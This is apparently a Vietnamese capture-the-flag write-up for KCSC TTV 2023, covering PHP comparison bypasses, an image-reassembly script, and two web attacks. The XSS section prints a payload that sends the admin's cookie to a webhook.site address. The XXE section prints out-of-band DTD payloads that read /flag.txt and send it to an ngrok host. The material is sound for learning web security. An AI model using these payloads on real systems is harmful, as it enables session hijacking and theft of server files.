KCSC TTV 2023 WRITE UP
Web challenges
Phpri Phprai
Phân tích
Vào chall ta thấy được source của chall được show ra và việc cần làm chỉ là bypass từ phần để lấy được toàn bộ flag
Khai thác
Flag part 1:
Chúng ta sẽ nhận được flag khi truyền giá trị vào param 1
khác với giá trị vào param 2
nhưng sau khi được hash md5()
chúng phải bằng nhau.
Vì 2 param trên hoàn toàn do chúng ta kiểm soát và hàm md5()
chỉ nhận đối số là string nên khi ta truyền vào 1 kiểu dữ liệu khác string nó sẽ khiến hàm md5()
trả về null. Nên để bypass qua đoạn này ta chỉ cần truyền vào param 1
và 2
mảng chứa 2 giá trị khác nhau:
Payload: http://47.254.251.2:8889/?1[]=1&2[]=2
Flag part 2:
Phần này về ý tưởng cũng khá giống với phần flag 1 vì hàm strcmp()
chỉ nhận vào đối số là string nên khi ta truyền kiểu dữ liệu khác vào nó sẽ trả về null
Mà trong PHP so sánh NULL == 0
nên để bypass qua đoạn này ta chỉ cần truyền vào param 3
một mảng:
Payload: http://47.254.251.2:8889/?1[]=1&2[]=2&3[]=3
Flag part 3:
Ở phần này tiếp tục vấn đề về PHP magic compare. Toán tử ==
sẽ có gắn ép một trong hai về được so sánh về cùng 1 kiểu dữ liệu để tiến hành so sánh
Vậy nên để bypass đoạn này mình lợi dụng việc toán tử ==
sẽ tự động xóa số 0 đằng trước của 01.4e5
thành 1.4e5
:
Payload: http://47.254.251.2:8889/?1[]=1&2[]=2&3[]=3&4=01.4e5
Flag part 4:
Tương tự với ý tưởng ở phần flag trên nhưng kèm thêm 1 lưu ý là hàm trim()
sẽ xóa hết những khoảng trắng () thừa ở hai bên của chuỗi đối số, dựa vào điều này để bypass với payload sau:
Payload: http://47.254.251.2:8889/?1[]=1&2[]=2&3[]=3&4=01.4e5&5=%2069
Flag part 5:
Phần này, để lấy được flag biến $str2
phải là KaCeEtCe
. nhưng bị hàm preg_replace()
thay thế KaCeEtCe
và thay thế thành (rỗng). Vấn đề ở đây là hàm
preg_replace()
này chỉ được gọi một lần nên chúng ta chỉ thêm một lần chuỗi KaCeEtCe
nữa. Như vậy KaCeKaCeEtCeEtCe
sau khi được replace một lần thì nó sẽ trở thành KaCeEtCe
và ta sẽ lấy được flag của phần này:
Payload: http://47.254.251.2:8889/?1[]=1&2[]=2&3[]=3&4=01.4e5&5=%2069&6=KaCeKaCeEtCeEtCe
Hi Hi Hi
Phân tích
Sau khi truy cập liên kết, Tại tiêu đề của trang gợi ý rằng sử dụng XSS Vì vậy mình thử dùng vài Payload XSS
Tất cả payload chứa <script>,<img>
hoặc sử dụng các thẻ <script>,<img>
tương đương đều bị chặn.
Ngoài các thẻ <script>,<img>
còn rất nhiều thẻ khác giúp chúng ta trigger xss.
Tiếp tục fuzz và thấy rằng chúng ta có thể sử dụng các thẻ <image>,<audio>,...
Ví dụ: <image src=q onerror=prompt(8)>
XSS done!
Bước tiếp theo là gửi report cho admin và đánh cắp cookie của admin.
Định dạng URL: http://127.0.0.1:13337/?message=your_payload
Trong payload thay vì sử dụng prompt()
, chúng mình sử dụng fetch()
để quản trị viên fetch() đến Webhook.site của mình
Payload: http://127.0.0.1:13337/?message=<image src =q onerror=fetch('https://webhook.site/e3897dc9-35d2-450d-a2fd-81b3f023c9fb')>
Nó hoạt động!
Khai thác
Bây giờ mình sẽ lấy cookie của admin bằng payload sau:
Payload: http://127.0.0.1:13337/?message=<image src=q onerror=fetch(`https://webhook.site/e3897dc9-35d2-450d-a2fd-81b3f023c9fb/?cookie=${document.cookie}`)>
Gửi report đó, chúng ta sẽ nhận được cookie của admin
XXD
Phân tích
Sau khi điền thông tin và gửi. Ở phía client, thông tin được xử lý và POST lên máy chủ với định dạng XML.
Vì POST XML được xử lý ở phía máy khách nên chúng tôi có thể sửa đổi điều này.
Dựa theo vào hint đầu tiên:
Chúng ta truy cập payload XXE của Payload All The Thing
Vì phản hồi không hiển thị thông tin nên chúng ta cần sử dụng OOB (data out-of-band)
Và sau đó mình tìm thấy payload đó:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
Khai thác
Dựa theo vào hint thứ hai để sửa đổi payload:
Bước đầu tiên là sử dụng php host một server:
Và sau đó sử dụng ngrok để tạo tunnel đến internet:
Bước thứ hai là tạo file dtd.xml
:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://bf4e-104-28-254-75.ap.ngrok.io/dtd.xml?%data;'>">
- Chúng ta phải sử dụng
convert.base64-encode
vì flag có chứa các ký tự đặc biệt - Sửa url trỏ đến server của chúng ta để khi biến
&exfil
được gọi nó sẽ lấy dữ liệu từ biến%data
, biến mà của chứa nội dung flag.txt
Bước cuối cùng là sửa đổi request POST XML:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY % sp SYSTEM "https://bf4e-104-28-254-75.ap.ngrok.io/dtd.xml">
%sp;
%param1;
]>
<data>
<name>
&exfil;
</name>
...
</data>
Gửi request đó và kiểm tra server php:
Copy rồi decode base64:
Mics challenges
BinggChillinggg
Phân tích
Để giải quyết chall này, chúng ta cần lắp tất cả các mảnh của bức ảnh lại.
Khai thác
Vì lý do mình quá gà nên script của mình phải gồm 2 phần :<
Bước đầu tiên trong script của mình là chọn tất cả các mảnh của một hàng rồi lưu chúng tại /Bingg2
from PIL import Image
def get_concat_h(im1, im2):
dst = Image.new('RGB', (im1.width + im2.width, im1.height))
dst.paste(im1, (0, 0))
dst.paste(im2, (im1.width, 0))
return dst
def get_concat_v(im1, im2):
dst = Image.new('RGB', (im1.width, im1.height + im2.height))
dst.paste(im1, (0, 0))
dst.paste(im2, (0, im1.height))
return dst
def get_concat_h_blank(im1, im2, color=(0, 0, 0)):
dst = Image.new('RGB', (im1.width + im2.width, max(im1.height, im2.height)), color)
dst.paste(im1, (0, 0))
dst.paste(im2, (im1.width, 0))
return dst
def get_concat_h_multi_blank(im_list):
_im = im_list.pop(0)
for im in im_list:
_im = get_concat_h_blank(_im, im)
return _im
for h in range(51):
if h == 0:
imgw_list = []
for w in range(77):
if w == 0:
im = Image.open(rf"./Bingg/img0_{w}.png")
else:
im = Image.open(rf"./Bingg/img0_{w}0.png")
imgw_list.append(im)
else:
imgw_list = []
for w in range(77):
if w == 0:
im = Image.open(rf"./Bingg/img{h}0_{w}.png")
else:
im = Image.open(rf"./Bingg/img{h}0_{w}0.png")
imgw_list.append(im)
get_concat_h_multi_blank(imgw_list).save(f'./Bingg2/{h}0.jpg')
Bước tiếp theo là xếp ảnh của các hàng trong /Bingg2
thành một cột:
im1 = Image.open(rf"./Bingg2/00.jpg")
im2 = Image.open(rf"./Bingg2/10.jpg")
concat = get_concat_v(im1, im2)
for i in range(2,52):
next_im = Image.open(rf"./Bingg2/{i}0.jpg")
concat = get_concat_v(concat, next_im)
concat.save("final.png")
Xong!
All rights reserved